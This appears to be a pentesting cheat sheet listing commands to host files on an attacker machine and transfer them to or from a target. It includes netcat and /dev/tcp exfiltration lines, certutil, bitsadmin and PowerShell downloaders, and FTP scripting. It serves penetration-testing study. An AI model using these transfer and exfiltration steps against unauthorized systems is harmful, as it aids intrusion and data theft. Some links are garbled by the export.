# File Transfer

### Alojando archivo

| Comando                                                                                                                                             | Descripción                                                                                                               |
| --------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| <p>python -m SimpleHTTPServer \[PORT]<br>python3 -m http.server \[PORT]</p>                                                                         | Python HTTP Server modules                                                                                                |
| service apache2 start; systemctl start apache2;                                                                                                     | Apache web server, requires to place files in the /var/www/html/ directory                                                |
| service nginx start; systemctl start nginx                                                                                                          | Nginx web server, requires to place files in or /usr/share/nginx/html or /var/www/html                                    |
| php -S 0.0.0.0:PORT                                                                                                                                 | PHP builtin web server bundle                                                                                             |
| nc -q 0 -lvp 443 < file                                                                                                                             | Netcat listener to transfer files                                                                                         |
| cat < archivo > /dev/tcp/\<IP>/\<PORT>                                                                                                              | Send this file to the target, with our \<ip> and \<port>, the listener must waiting with this: nc -lvnp \<port> > archivo |
| nc -nv IP\_ADDR 443 < file                                                                                                                          | Netcat command to send files                                                                                              |
| smbserver.py SHARE share\_dir                                                                                                                       | Impacket’s smbserver.py script simulates a SMB server                                                                     |
| service smbd start; systemctl start smbd                                                                                                            | Linux Samba, a share has to be added to /etc/samba/smb.conf                                                               |
| service pure-ftpd start; systemctl start pure-ftpd; service proftpd start; systemctl start proftpd                                                  | Services such as pure-ftpd and proftpd can be used to setup FTP servers                                                   |
| atftpd –daemon –port 69 ftp\_dir                                                                                                                    | The atftpd utility allows to easily setup a TFTP server                                                                   |
| ruby -rwebrick -e’WEBrick::HTTPServer.new(:Port => PORT, :DocumentRoot => Dir.pwd).start’                                                           | Ruby web server using the Web brick library                                                                               |
| ruby -run -e httpd . -p \[PORT]                                                                                                                     | Ruby simple http server                                                                                                   |
| <p>cpan HTTP::Server::Brick;<br>perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>PORT); $s->mount(“/”=>{path=>”.”}); $s->start’</p> | Perl Brick HTTP Server                                                                                                    |
| “C:\Program Files (x86)\IIS Express\iisexpress.exe” /path:C: /port:PORT                                                                             | Microsoftg IIS Express                                                                                                    |
| base64 file;                                                                                                                                        | Encoding the the file using base 64 and decoding it in the target machine                                                 |

***

### Descargar el archivo

| Comando                                                                                                                                                                                                                                                                                                                                                                                                   | Descripción                                                                                       |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
| wget [http://ip-addr:port/file](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file) \[-o output\_file]                                                                                                                                                                                                                                                                    | Wget comes preinstalled with most Linux systems                                                   |
| curl [http://ip-addr:port/file](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file) -o output\_file                                                                                                                                                                                                                                                                       | Curl comes preinstalled with most Linux and some Windows systems                                  |
| certutil -f-urlcache -split [http://ip-addr:port/file](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file) output\_file                                                                                                                                                                                                                                                   | Certutil is a Windows builtin command line tool                                                   |
| <p>powershell -c Invoke-WebRequest -Uri [http://ip-addr:port/file](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file) -OutFile output\_file;<br>powershell -c (New-Object Net.WebClient).DownloadFile(‘[http://ip-addr:port/file’](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file’), ‘output\_file’)</p>                             | Powershell Invoke-WebRequest cmdlet or the System.Net.WebClient class                             |
|                                                                                                                                                                                                                                                                                                                                                                                                           |                                                                                                   |
| bitsadmin /transfer job /download /priority high <http://IP\\_ADDR/file> output\_file                                                                                                                                                                                                                                                                                                                     | Bitsadmin Windows command-line tool                                                               |
| nc -nv IP\_ADDR 443 > file                                                                                                                                                                                                                                                                                                                                                                                | Netcat command to download files from a Netcat listener                                           |
| nc -q 0-lvp 443 > file                                                                                                                                                                                                                                                                                                                                                                                    | Netcat listener to receive files                                                                  |
| copy \IP\_ADDR\SHARE\output\_file                                                                                                                                                                                                                                                                                                                                                                         | Copy command to download files from an SMB share                                                  |
| smbget smb://domain;user\[:password@]server/share/path/file                                                                                                                                                                                                                                                                                                                                               | smbget utility to download files from a Samba share                                               |
| <p>Wget<br>wget <a href="ftp://user/">ftp\://user</a>:password\@IP\_ADDR/path/file -o output\_file<br>FTP<br>echo open 192.168.1.64 21> ftp.txt<br>echo anonymous>> ftp.txt<br>echo <a href="mailto:ftp@ftp.com"><ftp@ftp.com></a>>> ftp.txt<br>echo bin >> ftp.txt<br>echo get test.txt >> ftp.txt<br>echo bye >> ftp.txt<br>ftp -s:ftp.txt</p>                                                          | Wget and FTP to download files from an FTP server                                                 |
| tftp                                                                                                                                                                                                                                                                                                                                                                                                      | tftp -i IP\_ADDR {GET \| PUT} file                                                                |
| scp /path/file username\@IP\_ADDR:/path/file                                                                                                                                                                                                                                                                                                                                                              | Secure File Copy SSH tool                                                                         |
| <https://gist.github.com/Richienb/51021a1c16995a07478dfa20a6db725c>                                                                                                                                                                                                                                                                                                                                       | Windows Virtual Basic scripts                                                                     |
| php -r “file\_put\_contents(‘output\_file’, fopen(‘[http://ip-addr:port/file’](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file’), ‘r’));”                                                                                                                                                                                                                              | PHP file\_put\_contents function                                                                  |
| <p>python -c ‘from urllib import urlretrieve; urlretrieve(“[http://ip-addr:port/file”](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file”), “output\_file”)’;<br>python3 -c ‘from urllib.request import urlretrieve; urlretrieve(“[http://ip-addr:port/file”](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file”), “output\_file”)’</p> | The Python urlretrieve function which is part of the urllib library can be used to download files |
| <p>perl -MLWP::Simple -e ‘getstore(“http\://IP\_ADDR/file”, “out\_file”)’;<br>perl -e ‘use LWP::Simple; getstore(“http\://IP\_ADDR/file”, “out\_file”)’</p>                                                                                                                                                                                                                                               | Library for WWW in Perl                                                                           |
| ruby -e ‘require “open-uri”;File.open(“output\_file”, “wb”) do \|file\|;URI.open(“[http://ip-addr:port/file”).read;end’](https://j4ckie0x17.gitbook.io/notes-pentesting/explotacion/http:/ip-addr:port/file”\).read;end’)                                                                                                                                                                                 | Ruby Open-URI library                                                                             |
| echo -n “base64-output” > file                                                                                                                                                                                                                                                                                                                                                                            | Decoding the base64 output of the file                                                            |
